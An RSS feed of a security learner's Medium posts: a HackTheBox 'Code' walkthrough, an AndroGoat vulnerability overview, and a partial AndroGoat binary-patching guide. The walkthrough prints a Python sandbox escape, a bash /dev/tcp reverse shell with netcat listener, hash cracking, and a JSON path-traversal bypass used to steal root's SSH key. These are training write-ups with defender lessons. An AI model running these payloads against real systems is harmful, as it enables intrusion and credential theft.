<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Damara Brian on Medium]]></title>
        <description><![CDATA[Stories by Damara Brian on Medium]]></description>
        <link>https://medium.com/@damarabrianr?source=rss-c788e8fa6feb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Qa5b0jDU__7Gcuqw</url>
            <title>Stories by Damara Brian on Medium</title>
            <link>https://medium.com/@damarabrianr?source=rss-c788e8fa6feb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 19:03:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@damarabrianr/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox “Code” Writeup — From Python Sandbox Escape to Root via JSON Bypass]]></title>
            <link>https://medium.com/@damarabrianr/hackthebox-code-writeup-from-python-sandbox-escape-to-root-via-json-bypass-16d668bd307e?source=rss-c788e8fa6feb------2</link>
            <guid isPermaLink="false">https://medium.com/p/16d668bd307e</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Damara Brian]]></dc:creator>
            <pubDate>Thu, 17 Jul 2025 10:56:13 GMT</pubDate>
            <atom:updated>2025-07-17T12:52:24.617Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box: Code Walkthrough — Python Sandbox Escape &amp; JSON Bypass to Root</h3><h3>🧠 Overview</h3><p>In this post, I’ll walk through my solution to the HackTheBox machine “Code”, which involves :</p><ul><li>Exploiting a vulnerable <strong>Python sandbox</strong> for initial access</li><li><strong>Cracking a hash</strong> to escalate to an SSH user</li><li>Exploiting a <strong>privileged backup script</strong> using a clever <strong>JSON directory traversal bypass</strong></li></ul><pre>## ⚡ TL;DR<br><br>- Found Python code execution via restricted sandbox (blacklist-based).<br>- Used introspection to access `subprocess.Popen`.<br>- Gained shell access with crafted payload.<br>- Found SQLite database → extracted and cracked password hashes.<br>- SSH as user `martin`.<br>- Privilege escalation via `/usr/bin/backy.sh` using JSON directory traversal trick.<br>- Retrieved `id_rsa` → SSH as `root`.<br>- Root access via SSH with stolen id_rsa  <br>🎉 Machine pwned.</pre><h3>📌 Recon &amp; Discovery</h3><p>A quick Nmap scan revealed two open ports: an SSH service on port 22 and a web service on port 5000</p><pre># Nmap 7.95 scan initiated Wed Jul 16 21:05:58 2025 as: /usr/lib/nmap/nmap --privileged -sCV -oA code 10.10.11.62<br>Nmap scan report for 10.10.11.62<br>Host is up (0.16s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)<br>|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)<br>|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)<br>5000/tcp open  http    Gunicorn 20.0.4<br>|_http-title: Python Code Editor<br>|_http-server-header: gunicorn/20.0.4<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Wed Jul 16 21:06:22 2025 -- 1 IP address (1 host up) scanned in 24.08 seconds</pre><p>Accessing the web application on port 5000 led to a <strong>Python code execution</strong> interface. Initial interaction revealed that it was running in a <strong>restricted sandbox environment</strong>, most likely built with a blacklist-based keyword filter.</p><p>Tested inputs returned the following behavior:</p><ul><li><strong>import os</strong> → Blocked with: “Use of restricted keywords is not allowed.”</li><li><strong>os.system(“id”)</strong> → Also blocked with the same message</li><li>Basic expressions such as <strong>1 + 1</strong>, <strong>“Hello”.upper()</strong>, or <strong>print(123)</strong> executed successfully</li></ul><p>These test confirmed that the sandbox filters specific keywords like <strong>import</strong>, <strong>os</strong>, etc., rather than using secure isolation techniques. This made it a good candidate for a <strong>Python sandbox escape</strong></p><h3>🕳️ Python Sandbox Escape — Getting Foothold</h3><p>After identifying that the web interface allowed Python code execution, I began testing the sandbox restrictions. Attempts to use <strong>import</strong>, <strong>os.system</strong>, or any risky functionality returned the same error:</p><blockquote>Use of restricted keywords is not allowed</blockquote><p>This suggest the sandbox enforced <strong>keywords-based filtering</strong>, not actual execution restrictions. That’s a crucial distinction — it meant the environment still had dangerous objects in memory, as long as you didn’t reference them using blocked keywords.</p><p>Interestingly, basic Python syntax and object attributes still worked, providing a potential escape route using <strong>Python’s introspection features</strong>.</p><h4>🔍 Exploring Python’s Object Tree</h4><p>Python is deeply object-oriented. Even the core language constructs are just objects. So even though we couldn’t <strong>import</strong> new modules, we could still <strong>navigate the existing memory space</strong> to access built-in classes and functions.</p><p>A powerful starting point is this payload:</p><pre>().__class__.__bases__[0].subclasses__()</pre><p>Here’s what it does:</p><ul><li><strong>()</strong> is an empty tuple.</li><li><strong>().__class__</strong> gives us <strong>&lt;class ‘tuple’&gt;</strong></li><li><strong>.__bases__[0]</strong> leads us to the base class: <strong>object</strong>.</li><li><strong>.__subclasses__()</strong> lists all subclasses of <strong>object</strong>, which includes everything from <strong>dict</strong>, <strong>file</strong>, and <strong>warnings</strong>, to <strong>subprocess.Popen</strong>.</li></ul><p>This list includes hundreds of core and internal Python classes — including file handlers, encoders, warnings, and crucially: <strong>subprocess.Popen</strong>.</p><h4>👀 What Are We Looking For?</h4><p>At this stage, the goal is to find a class that lets us <strong>execute system commands</strong>. Typically this would be:</p><ul><li><strong>subprocess.Popen</strong></li><li><strong>os.system</strong> (but we can’t access it because os is blocked)</li><li>Sometimes <strong>warnings.catch_warnings</strong> (if misused)</li></ul><p>So, what does <strong>Popen </strong>offer?</p><ul><li>It’s the class behind <strong>subprocess.Popen()</strong></li><li>It allows arbitrary command execution</li><li>It exist in memory <strong>even if we can’t use the word “subprocess”</strong> or <strong>“Popen”</strong></li></ul><p>But here’s the challenge: since we can’t use <strong>import</strong>, <strong>Popen</strong>, or <strong>subprocess</strong>, we must <strong>find the object without writing its name</strong>.</p><h4>🔢 Manually Identifying Dangerous Classes</h4><p>To discover potential exploit primitives within the sandbox, we start by enumerating all classes returned by <strong>__subclass__()</strong>. This allows us to inspect everything currently loaded in memory — including hidden gems like <strong>subprocess.Popen</strong>. Here’s the payload I used:</p><pre>for i, cls in enumerate((()).__class__.__bases__[0].__subclasses__()):<br>    print(i, cls)</pre><p>However, the web interface truncated the output — it only showed around 150 entries, which wasn’t enough. To overcome this, I captured the request using Burp Suite and forwarded it to the <strong>Repeater</strong>, which allowed me to view the full server response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YnTFXrXJhW_BiflLFd_a2g.png" /></figure><p>Through this method, I retrieved a complete list of approximately <strong>720 loaded subclasses</strong>.<strong> </strong>I then used Burp Suite’s <strong>search functionality </strong>to look for relevant keywords like <strong>Popen</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DFickPNMs9KYl5QfqlN3Ug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*CGVe6Tpv8-fsVd06AS8WsQ.png" /></figure><p>Once I spotted a promising result, I took the corresponding index — in my case, it was <strong>317</strong> — and cross-verified it using the sandbox environment by running:</p><pre>print(().__class__.__bases__[0].__subclasses__()[317])</pre><p>It returned:</p><pre>&lt;class &#39;subprocess.Popen&#39;&gt; </pre><p>💥 <strong>Bingo</strong>. We found our foothold — a direct reference to <strong>subprocess.Popen</strong> without ever typing the word <strong>Popen </strong>or <strong>subprocess</strong>.</p><p>With this confirmed, the next step is to exploit it for command execution. From here, we’re just one payload away from breaking out of the sandbox entirely.</p><h4>🧨 Executing Commands (Without Using Popen)</h4><p>Once you find the index of <strong>subprocess.Popen</strong> — say, 317 — you can reference it directly without ever writing <strong>Popen</strong>:</p><pre>p = ().__class__.__bases__[0].__subclasses__()[317]</pre><p>And then execute a reverse shell or command:</p><pre>p(&quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/YOUR-IP/YOUR-PORT 0&gt;&amp;1&#39;&quot;, shell=True, stdout=-1).communicate()</pre><p>Before pressing run button, setup the listener first on local machine using this command:</p><pre>sudo nc -lnvp YOUR-PORT</pre><p>Boom — shell access achieved, all without using <strong>import</strong>, <strong>os</strong>, or <strong>Popen </strong>in your payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLvmflKXvTUk9uao4E6ifA.png" /></figure><h4>🧠 Why This Works</h4><ul><li>Python introspection lets you walk memory safely in a sandbox.</li><li>The sandbox blocks <strong>keywords</strong>, and not <strong>objects in memory</strong>.</li><li>We avoided all blocked words by referencing classes through numeric indexes.</li><li>Understanding the object model allowed us to escape a seemingly restricted environment.</li></ul><h3>🗂️ Post-Exploitation — Reading Internal Files</h3><p>After successfully escaping the sandbox and achieving remote code execution, my next goal was to enumerate the file system and look for sensitive files — specifically those that could help escalate access or reveal hardcoded secrets.</p><p>One of the first places I checked was the application’s internal directory. Based on common Flask app structures, I probed the <strong>app/instance/</strong> folder and discovered and interesting file:</p><pre>app/instance/database.db</pre><p>As the <strong>.db </strong>extension suggests, this was an SQLite database — most likely used to store application data, including user credentials. Fortunately, the <strong>sqlite3 </strong>binary was available on the system, I used it to query the contents of the <strong>user</strong> table and found two user entries, each containing hashed passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*eYCUr2Xs2eO-bUZ2NG6nhA.png" /></figure><p>I then copied the usernames and corresponding hashes to my local machine for offline analysis.</p><h4>🔐 Cracking Hashes</h4><p>I saved the extracted credentials to a file named <strong>user.txt</strong> and proceeded to crack the hashes using <a href="https://hashcat.net/hashcat/">Hashcat</a>. Here’s the command I used:</p><pre>hashcat -m 0 -a 0 YOUR-FILE /usr/share/wordlists/rockyou.txt</pre><p>Once the cracking process completed, I revealed the cracked credentials using:</p><pre>hashcat -m 0 -a 0 YOUR-FILE /usr/share/wordlists/rockyou.txt --show</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*0DjPeXKGFaCIuLYChHUqyg.png" /></figure><p>The result: a valid password for both account</p><h4>🔑 User Access Via SSH</h4><p>With valid credentials in hand, I attempted to log in via SSH:</p><pre>ssh martin@&lt;target-ip&gt;</pre><p>Access was successful — I now had a stable shell as the user <strong>martin</strong>.</p><p>At this point, I had established a real foothold on the machine. The next step: escalate privileges to root.</p><h3>🧩 Privilege Escalation — Exploitation backy.sh</h3><p>After gaining a foothold as user <strong>martin</strong>,<strong> </strong>I checked for potential privilege escalation paths using:</p><pre>sudo -l</pre><p>This revealed a very interesting finding:</p><pre>User martin may run the following commands on localhost:<br>    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh</pre><p>The script <strong>backy.sh</strong> can be executed as root without a password, and it accepts a <strong>.json</strong> file as input. This script is responsible for backing up directories defined in the JSON input using another utility called <strong>backy</strong>.</p><p>Here’s the content of <strong>/usr/bin/backy.sh</strong>:</p><pre>#!/bin/bash<br><br># ... [argument checks and file validation omitted for brevity]<br><br>allowed_paths=(&quot;/var/&quot; &quot;/home/&quot;)<br><br># Sanitize the input JSON by removing ../ attempts<br>updated_json=$(/usr/bin/jq &#39;.directories_to_archive |= map(gsub(&quot;\\.\\./&quot;; &quot;&quot;))&#39; &quot;$json_file&quot;)<br><br># Extract the list of directories to archive<br>directories_to_archive=$(/usr/bin/echo &quot;$updated_json&quot; | /usr/bin/jq -r &#39;.directories_to_archive[]&#39;)<br><br># Check if paths are within /var or /home<br>is_allowed_path() {<br>    local path=&quot;$1&quot;<br>    for allowed_path in &quot;${allowed_paths[@]}&quot;; do<br>        if [[ &quot;$path&quot; == $allowed_path* ]]; then<br>            return 0<br>        fi<br>    done<br>    return 1<br>}<br><br># Validate each path<br>for dir in $directories_to_archive; do<br>    if ! is_allowed_path &quot;$dir&quot;; then<br>        echo &quot;Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed.&quot;<br>        exit 1<br>    fi<br>done<br><br># Run the backy command<br>/usr/bin/backy &quot;$json_file&quot;</pre><h4>🔍 Vulnerability Analysis</h4><p>At first glance, it seems secure — it’s sanitazing <strong>../</strong> to prevent directory traversal and restricting input to only paths under <strong>/var/</strong> or <strong>/home/</strong>.</p><p>However, there’s a subtle <strong>bypass</strong>:</p><p>The Sanitizer removes literal <strong>../</strong> strings but doesn’t account for <strong>path confusion</strong> using sequences like:</p><pre>/home/....//root/</pre><p>This string <strong>still starts with </strong><strong>/home/</strong>, passing the <strong>is_allowed_path()</strong> check, and after normalization by the OS, it resolves to:</p><pre>/root/</pre><p>This effectively bypasses the intended restriction and gives access to the root directory.</p><h4>🚀 Exploiting the Vulnerability</h4><p>Using this bypass, I crafted the following malicious JSON payload:</p><pre>{<br>  &quot;destination&quot;: &quot;/home/martin/&quot;,<br>  &quot;multiprocessing&quot;: true,<br>  &quot;verbose_log&quot;: true,<br>  &quot;directories_to_archive&quot;: [<br>    &quot;/home/....//root/&quot;<br>  ]<br>}</pre><p>I saved this as exploit.json, and then executed:</p><pre>sudo /usr/bin/backy.sh exploit.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UhrsHtNq5JEiN14XM3Hgxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kf4esKv0bL0GWrPuMSJhng.png" /></figure><p>The backup process successfully accessed the <strong>/root/</strong> directory and saved the archive to <strong>/home/martin/</strong>. Upon extraction, I gained access to sensitive files like:</p><ul><li><strong>/root/.bash_history</strong></li><li><strong>/root/.ssh</strong></li><li>and most importantly <strong>/root/root.txt</strong></li></ul><h4>🛠️ Post-Exploitation — SSH as Root</h4><p>Inside the extracted archive, I found the private SSH key:</p><pre>cat root/.ssh/id_rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jH9sOL1Uis6V5yCry3dzpA.png" /></figure><p>I copied this to my local machine and set the correct permissions:</p><pre>chmod 600 YOUR-FILE</pre><p>Then I used it to SSH into the machine as root:</p><pre>ssh root@&lt;target-ip&gt; -i YOUR-FILE</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQ0CqDpuxjq82zzMGOxHYA.png" /></figure><p>And just like that — root access was obtained via SSH using the system’s own backup process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wmicf15JBF-CEsiiQ5jy2Q.png" /></figure><h3>📚 Lesson Learned</h3><pre>🛡️ Tips for Defenders<br><br>- Avoid using blacklist filters in sandbox environments — enforce proper isolation.<br>- Always validate and sanitize JSON input recursively — not just single-pattern replacements.<br>- Limit `sudo` usage to scripts that perform only static, well-controlled tasks.<br>- Encrypt all sensitive internal files and keep application data outside the web root.</pre><p>This box provided a well-rounded challenge that emphasized the importance of <strong>secure coding</strong>, <strong>sandbox restrictions</strong>, and <strong>privilege management</strong>. Here are the key lessons learned across each stage:</p><h4>🔓 Sandbox Escaping</h4><ul><li><strong>Restricted Python environments</strong> must sanitize and monitor not just keywords, but also patterns of behavior. Even without <strong>os</strong> or <strong>subprocess</strong>, it’s possible to achieve code execution by leveraging introspection and <strong>__builtins__</strong>.</li></ul><h4>📁 Internal File Exposure</h4><ul><li>Exposing internal files like <strong>app/instance/database.db</strong> revealed critical user data. Web applications should <strong>never expose internal app directories</strong> or store sensitive data without proper encryption and permissions.</li><li>Using default tools like <strong>sqlite3</strong> during RCE made it trivial to dump user credentials.</li></ul><h4>🔐 Weak Password Storage</h4><ul><li>Storing user hashes using outdated or fast hashing algorithms (like MD5 or SHA1) makes them vulnerable to offline brute-force attacks. Use bcrypt, scrypt, or Argon2 for secure password storage</li></ul><h4>🧩 Privilege Escalation via Misconfigured Script</h4><ul><li>Granting <strong>sudo</strong> access to scripts that allow user-supplied input (like JSON) is extremely dangerous.</li><li>The attempt to sanitize paths using gsub(“\\.\\./”;””) in <strong>jq</strong> was insufficient. Input encoding tricks( <strong>.. ../</strong>) bypassed the filter, exposing root-owned files like <strong>/root/.ssh/id_rsa</strong>.</li><li>Once again, <strong>defense-in-depth matters</strong>: validation should be layered at every level, especially when dealing with file paths, shell commands, or archive operations.</li></ul><h3>✅ Conclusion</h3><p>The <strong>Code</strong> machine demonstrates how seemingly isolated vulnerabilities — <strong>sandbox escape</strong>, <strong>exposed internal files</strong>, <strong>weak password storage</strong>, and <strong>insecure sudo configurations</strong> — can be chained into full system compromise.</p><p>From a single line of arbitrary code execution, I:</p><ol><li>Access sensitive internal app files.</li><li>Cracked user password hashes.</li><li>Gained SSH access as a user.</li><li>Exploited a flawed backup script to access root-only data.</li><li>Used the stolen SSH private key to escalate to full root access.</li></ol><p>This challenge was a great example of <strong>real-world exploitation through misconfigurations and insecure development practices</strong>, and reinforces the need for:</p><ol><li>Proper input validation and output encoding,</li><li>Careful review of what scripts are allowed to run with <strong>sudo</strong>,</li><li>And tighter sandboxing for untrusted code execution.</li></ol><p>Every small oversight contributed to a full system breach — and that’s exactly what makes this box such a valuable learning experience.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16d668bd307e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My AndroGoat Journey: A Beginner’s Guide to Android Security Vulnerabilities]]></title>
            <link>https://medium.com/@damarabrianr/my-androgoat-journey-a-beginners-guide-to-android-security-vulnerabilities-a8b771598c23?source=rss-c788e8fa6feb------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8b771598c23</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Damara Brian]]></dc:creator>
            <pubDate>Wed, 04 Jun 2025 03:21:42 GMT</pubDate>
            <atom:updated>2025-06-04T03:21:42.019Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Hey there! I’m Damara Brian, a cybersecurity enthusiast with a growing interest in Android security. I’m definitely not an expert — just someone who’s passionate about learning and sharing insights. If you’re exploring AndroGoat for the first time or hitting roadblocks, this series is for you. Let’s tackle these challenges together!</p><h3>What is AndroGoat?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*BaOcnXGKDWti8IYyxlc8cQ.png" /></figure><p>AndroGoat is an intentionally vulnerable app designed to teach Android security concepts. It’s like a hands-on lab for understanding common vulnerabilities. I’ve been working through it, and while it’s challenging, it’s also super rewarding.</p><h3>How I’m Structuring My Learning</h3><p>Instead of trying to conquer everything at once, I’m breaking it down into topics. Each topic has multiple challenges, and I’m documenting my journey step by step.</p><h3>Vulnerability Topics I’m Exploring</h3><p>I’m breaking down my learning into these main vulnerability topics as presented in AndroGoat. Each one has its own set of challenges, and I’m tackling them one step at a time. Here’s what I’ve got on my plate:</p><h3>Network Intercepting</h3><h4>Intercepting HTTP</h4><p><strong>Explanation</strong>: HTTP interception involves capturing unencrypted data transmitted over HTTP. Attackers can use tools like Wireshark or Fiddler to monitor network traffic and steal sensitive information such as user credentials, personal details, and payment information.</p><p><strong>Impact</strong>: Exposure of sensitive data, privacy violations, and potential financial loss.</p><h4>Intercepting HTTPS</h4><p><strong>Explanation</strong>: HTTPS interception targets encrypted data. If an app doesn’t properly implement certificate validation or uses weak SSL/TLS protocols, attackers can perform man-in-the-middle (MITM) attacks to decrypt and steal data.</p><p><strong>Impact</strong>: Theft of encrypted data, compromising data confidentiality and integrity.</p><h4>Intercepting Certificate Pinning</h4><p><strong>Explanation</strong>: Certificate pinning is a security mechanism where the app trusts only specific certificates. If the app lacks certificate pinning or its implementation is flawed, attackers can bypass certificate validation and intercept encrypted communication.</p><p><strong>Impact</strong>: Bypassing security measures, allowing attackers to decrypt and tamper with encrypted data.</p><p><a href="https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-network-intercepting-f19fa5ec239d">My AndroGoat Journey: Deep Dive into Network Intercepting</a></p><h3>Unprotected Android Components</h3><p><strong>Explanation</strong>: Android components like activities, services, content providers, and broadcast receivers can be exported to allow interaction with other apps. When these components lack proper permission checks, they become unprotected, posing security risks.</p><p><strong>Impact</strong>: Unauthorized access to sensitive data, leakage of user information, and execution of malicious operations.</p><h4>Login without PIN Verification</h4><p><strong>Explanation</strong>: Bypassing the PIN login screen by directly launching a protected activity. Attackers can exploit this to access sensitive parts of the app without proper authentication.</p><p><strong>Impact</strong>: Unauthorized access to protected features and potential data theft.</p><h4>Download Invoice Without Verification</h4><p><strong>Explanation</strong>: Accessing and downloading protected invoices without going through PIN verification. Attackers can exploit vulnerable services to retrieve sensitive data.</p><p><strong>Impact</strong>: Theft of sensitive documents and potential exposure of user information.</p><p><a href="https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-unprotected-android-components-f3ba7c4bbb22">My AndroGoat Journey: Deep Dive into Unprotected Android Components</a></p><h3>Insecure Data Storage</h3><p><strong>Explanation</strong>: Storing sensitive data in insecure locations such as shared_prefs, SQLite databases, temporary files, or external storage without proper encryption.</p><p><strong>Impact</strong>: Exposure of sensitive data, data tampering, and privacy violations.</p><h4>Shared Preferences — Part 1</h4><p><strong>Explanation</strong>: Storing user preferences and settings in plain text within shared_prefs files.</p><p><strong>Impact</strong>: Easy access to sensitive data by attackers with root access or malicious apps.</p><h4>Shared Preferences — Part 2</h4><p><strong>Explanation</strong>: Further exploration of shared_prefs vulnerabilities, including potential data manipulation.</p><p><strong>Impact</strong>: Data tampering and unauthorized access to user settings.</p><h4>SQLite</h4><p><strong>Explanation</strong>: Storing large amounts of data in SQLite databases without adequate encryption.</p><p><strong>Impact</strong>: Exposure of database contents, including user records and transaction history.</p><h4>Temp File</h4><p><strong>Explanation</strong>: Temporary files stored in accessible locations, making them vulnerable to unauthorized access.</p><p><strong>Impact</strong>: Theft of temporary data and potential exposure of sensitive information.</p><h4>External Storage — SD Card</h4><p><strong>Explanation</strong>: Storing data on external storage locations like SD cards, which are accessible to other apps.</p><p><strong>Impact</strong>: Data leakage and unauthorized access by other apps on the device.</p><p><a href="https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-insecure-data-storage-2887c1a524a8">My AndroGoat Journey: Deep Dive into Insecure Data Storage</a></p><h3>Input Validations</h3><p><strong>Explanation</strong>: Failing to properly validate user inputs can lead to various security vulnerabilities, including injection attacks and script execution.</p><p><strong>Impact</strong>: Data theft, unauthorized operations, and app crashes.</p><h4>Input Validation — XSS</h4><p><strong>Explanation</strong>: Cross-Site Scripting (XSS) attacks involve injecting malicious scripts into user inputs, which are then executed in other users’ browsers.</p><p><strong>Impact</strong>: Theft of user sessions, data leakage, and unauthorized actions on behalf of the user.</p><h4>Input Validation — SQLI</h4><p><strong>Explanation</strong>: SQL Injection (SQLI) attacks involve inserting malicious SQL statements into input fields to manipulate database operations.</p><p><strong>Impact</strong>: Unauthorized access to databases, data tampering, and potential data loss.</p><h4>Input Validation — WebView</h4><p><strong>Explanation</strong>: WebView vulnerabilities arise when JavaScript is enabled without restrictions, allowing attackers to execute malicious code within the WebView.</p><p><strong>Impact</strong>: Gaining control over the app and accessing device resources.</p><p><a href="https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-input-validations-d504093db256">My AndroGoat Journey: Deep Dive into Input Validations</a></p><h3>Side Channel Data Leakage</h3><p><strong>Explanation</strong>: Side-channel attacks exploit indirect information leaked during app execution, such as power consumption, timing, or audio/video data.</p><p><strong>Impact</strong>: Exposure of sensitive information like encryption keys and user privacy data.</p><h4>Keyboard Cache</h4><p><strong>Explanation</strong>: Keyboard cache can store user inputs, including sensitive information like passwords.</p><p><strong>Impact</strong>: Leakage of user credentials and potential account compromise.</p><h4>Insecure Logging</h4><p><strong>Explanation</strong>: Logging sensitive data without proper security measures, making it accessible to attackers.</p><p><strong>Impact</strong>: Exposure of logged data, including user activities and sensitive information.</p><h4>Clipboard — Copy and Paste</h4><p><strong>Explanation</strong>: Malicious apps can access the clipboard to steal copied sensitive information like passwords or credit card numbers.</p><p><strong>Impact</strong>: Theft of clipboard contents and potential misuse of sensitive data.</p><p><a href="https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-side-channel-data-leakage-8cdd7244de0d">My AndroGoat Journey: Deep Dive into Side Channel Data Leakage</a></p><h3>Hardcode Issue</h3><p><strong>Explanation</strong>: Storing sensitive information like credentials, API keys, or encryption keys in plain text within the app code.</p><p><strong>Impact</strong>: Exposure of sensitive data if the app is decompiled or analyzed.</p><p><a href="https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-hardcoded-issues-a641d38d732a">My AndroGoat Journey: Deep Dive into Hardcoded Issues</a></p><h3>Root Detection</h3><p><strong>Explanation</strong>: Bypassing root detection mechanisms to run the app on rooted devices.</p><p><strong>Impact</strong>: Allows attackers to access root-level privileges and perform unauthorized operations.</p><p><a href="https://medium.com/@damarabrianr/my-androgoat-journey-bypassing-root-detection-fa1d4327c187">My AndroGoat Journey: Bypassing Root Detection</a></p><h3>Emulator Detection</h3><p><strong>Explanation</strong>: Bypassing emulator detection to run the app in emulator environments for debugging or malicious purposes.</p><p><strong>Impact</strong>: Enables attackers to analyze the app in controlled environments, potentially uncovering vulnerabilities.</p><p><a href="https://medium.com/@damarabrianr/my-androgoat-journey-bypassing-emulator-detection-6f5b5f8e1d3d">My AndroGoat Journey: Bypassing Emulator Detection</a></p><h3>Binary Patching</h3><p><strong>Explanation</strong>: Modifying the app’s binary code to alter its behavior, such as disabling security features or enabling hidden functionalities.</p><p><strong>Impact</strong>: Compromises the app’s integrity and allows attackers to execute malicious code.</p><p><a href="https://medium.com/@damarabrianr/my-androgoat-journey-binary-patching-for-admin-access-830ab9d9e21f">My AndroGoat Journey: Binary Patching for Admin Access</a></p><h3>How I’m Sharing My Journey</h3><p>I’m documenting my experience in a series of Medium posts. Each post will focus on a specific topic and include:</p><ul><li>My thoughts and initial understanding of the vulnerability.</li><li>Step-by-step solutions to challenges I encounter.</li><li>Screenshots, code snippets, and tools I use to figure things out.</li></ul><h3>Let’s Learn Together!</h3><p>I’m sharing this not as a master, but as a fellow learner. My goal is to make these complex topics more approachable. If you’re stuck or curious about a specific challenge, feel free to reach out or drop a comment. Let’s build our Android security knowledge together!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8b771598c23" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My AndroGoat Journey: Binary Patching for Admin Access]]></title>
            <link>https://medium.com/@damarabrianr/my-androgoat-journey-binary-patching-for-admin-access-830ab9d9e21f?source=rss-c788e8fa6feb------2</link>
            <guid isPermaLink="false">https://medium.com/p/830ab9d9e21f</guid>
            <category><![CDATA[training]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Damara Brian]]></dc:creator>
            <pubDate>Mon, 02 Jun 2025 06:14:53 GMT</pubDate>
            <atom:updated>2025-06-02T06:17:18.720Z</atom:updated>
            <content:encoded><![CDATA[<p>Objective of This Post In this post, we’ll explore how to perform binary patching in the AndroGoat app to grant admin access. This is useful for understanding how apps enforce access controls and how to modify such controls for testing purposes.</p><h3>Binary Patching</h3><h3>Understanding the Vulnerability</h3><p>Binary patching involves modifying app binaries to alter functionality, such as granting admin access. This can be used to test how apps handle different user privileges and to explore security mechanisms related to access control.</p><h3>Solution Steps</h3><ul><li>Open JADX and load the AndroGoat.apk file, then navigate to the AndroidManifest to locate the BinaryPatchingActivity.</li><li>We can’t know much from the java code. Only there’s method for getIsAdmin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*feWlQn7gOb8re8KI3IJS1Q.png" /></figure><ul><li>Decompile the AndroGoat.apk using Apktool to prepare the app for modifications.</li></ul><pre>apktool d &lt;apk name&gt;</pre><ul><li>Open the decompiled folder with your preferred editor and go to /smali/owasp/sat/agoat/BinaryPatchingActivity.smali. Find the isAdmin method at line 113, which returns the admin status in register v0.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d2FqM3uYDhZgnRCKVhz8yw.png" /></figure><ul><li>At line 139, change the if-ne v0, v1, :cond_0 instruction to if-eq v0, v1, :cond_0 to alter the logic so that the app grants admin access.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vbf8EIhskq2bmhsqihx97g.png" /></figure><ul><li>Rebuild the APK using Apktool after making the necessary code changes.</li></ul><pre>apktool b &lt;folder name&gt;</pre><ul><li>Sign the rebuilt APK with uber-signer to enable installation on your Android device.</li></ul><pre>java -jar &lt;uber-signer name&gt; --apks &lt;apk name&gt;</pre><ul><li>Uninstall the original AndroGoat app and install the patched APK.</li></ul><pre>adb install &lt;apk name&gt;</pre><ul><li>Run the app and confirm that admin access has been successfully granted.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*cXTUbIYkyEukMtNkYZiY7Q.png" /></figure><h3>Explanation</h3><p>Performing binary patching allows you to test how an app behaves with modified access controls. This is valuable for understanding security mechanisms 